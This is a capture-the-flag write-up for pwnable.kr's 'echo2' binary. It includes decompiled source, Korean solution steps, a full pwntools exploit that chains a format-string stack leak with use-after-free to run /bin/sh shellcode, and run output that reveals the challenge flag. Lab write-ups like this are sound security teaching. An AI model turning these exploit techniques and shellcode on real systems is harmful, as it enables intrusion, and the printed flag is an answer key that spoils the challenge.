Description
Pwn this echo service.
download : http://pwnable.kr/bin/echo2
Running at : nc pwnable.kr 9011
checksec
ubuntu@wh1te4ever-main:~/Desktop/pwnable.kr-CTF/echo2$ checksec ./echo2 [*] '/home/ubuntu/Desktop/pwnable.kr-CTF/echo2/echo2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
Decompiled-src
main
int __fastcall main(int argc, const char **argv, const char **envp) { _QWORD *v3; // rax unsigned int i; // [rsp+Ch] [rbp-24h] BYREF __int64 v6[4]; // [rsp+10h] [rbp-20h] BYREF setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); o = malloc(0x28uLL); *((_QWORD *)o + 3) = greetings; *((_QWORD *)o + 4) = byebye; printf("hey, what's your name? : "); __isoc99_scanf("%24s", v6); v3 = o; *(_QWORD *)o = v6[0]; v3[1] = v6[1]; v3[2] = v6[2]; id = v6[0]; getchar(); func[0] = (__int64)echo1; qword_602088 = (__int64)echo2; qword_602090 = (__int64)echo3; for ( i = 0; i != 121; i = getchar() ) { while ( 1 ) { while ( 1 ) { puts("\n- select echo type -"); puts("- 1. : BOF echo"); puts("- 2. : FSB echo"); puts("- 3. : UAF echo"); puts("- 4. : exit"); printf("> "); __isoc99_scanf("%d", &i); getchar(); if ( i > 3 ) break; ((void (*)(void))func[i - 1])(); } if ( i == 4 ) break; puts("invalid menu"); } cleanup(); printf("Are you sure you want to exit? (y/n)"); } puts("bye"); return 0; }
echo1
int echo1() { return puts("not supported"); }
echo2
__int64 echo2() { char format[32]; // [rsp+0h] [rbp-20h] BYREF (*((void (__fastcall **)(void *))o + 3))(o); get_input(format, 32LL); printf(format); (*((void (__fastcall **)(void *))o + 4))(o); return 0LL; }
echo3
__int64 echo3() { char *s; // [rsp+8h] [rbp-8h] (*((void (__fastcall **)(void *))o + 3))(o); s = (char *)malloc(32uLL); get_input(s, 32LL); puts(s); free(s); (*((void (__fastcall **)(void *))o + 4))(o); return 0LL; }
cleanup
void cleanup() { free(o); }
Solution
1. main 함수의 v6 지역변수에 쉘코드 삽입
2. echo2 함수를 통해 스택 주소를 leak하여 main 함수의 v6 지역변수의 주소값 획득
3. (여기서부터 UAF trigger 시작) cleanup 함수를 통해 main 함수의 o 변수를 free
4. echo3 함수를 통해 o 변수에 있던 메모리 주소를 다시한번 더 use하여,
greetings 함수주소가 적힌 주소에다가 아까 leak하여 획득하면서 획득했던 v6 지역변수의 주소값으로 덮어쓴다.
5. 이제 greetings 함수는 더이상 호출되지 않고 쉘코드가 실행된다.
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = remote("pwnable.kr", 9011) #p = process("./echo2") e = ELF('./echo2', checksec=False) # https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html shellcode = b'\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05' p.sendlineafter(b"hey, what's your name? : ", shellcode) p.sendlineafter(b"> ", b"2") p.sendline(b'%9$p') p.recvline() leaked_stack = p.recvline().split(b'\n')[0] leaked_stack = int(leaked_stack, 16) success(f"leaked_stack: {hex(leaked_stack)}") p.sendline(b"4") p.sendline(b"n") p.sendlineafter(b"> ", b"3") p.sendline(b'C'*24 + p64(leaked_stack - 0x20)) p.interactive()
Result
ubuntu@wh1te4ever-main:~/Desktop/pwnable.kr-CTF/echo2$ python3 solve.py [+] Opening connection to pwnable.kr on port 9011: Done [+] leaked_stack: 0x7ffd8af398f0 [*] Switching to interactive mode Are you sure you want to exit? (y/n) - select echo type - - 1. : BOF echo - 2. : FSB echo - 3. : UAF echo - 4. : exit > hello CCCCCCCCCCCCCCCCCCCCCCCCИ\xf3\x8a\xfd goodbye - select echo type - - 1. : BOF echo - 2. : FSB echo - 3. : UAF echo - 4. : exit > $ ls echo2 flag log super.pl $ cat flag fun_with_UAF_and_FSB :) $ [*] Interrupted [*] Closed connection to pwnable.kr port 9011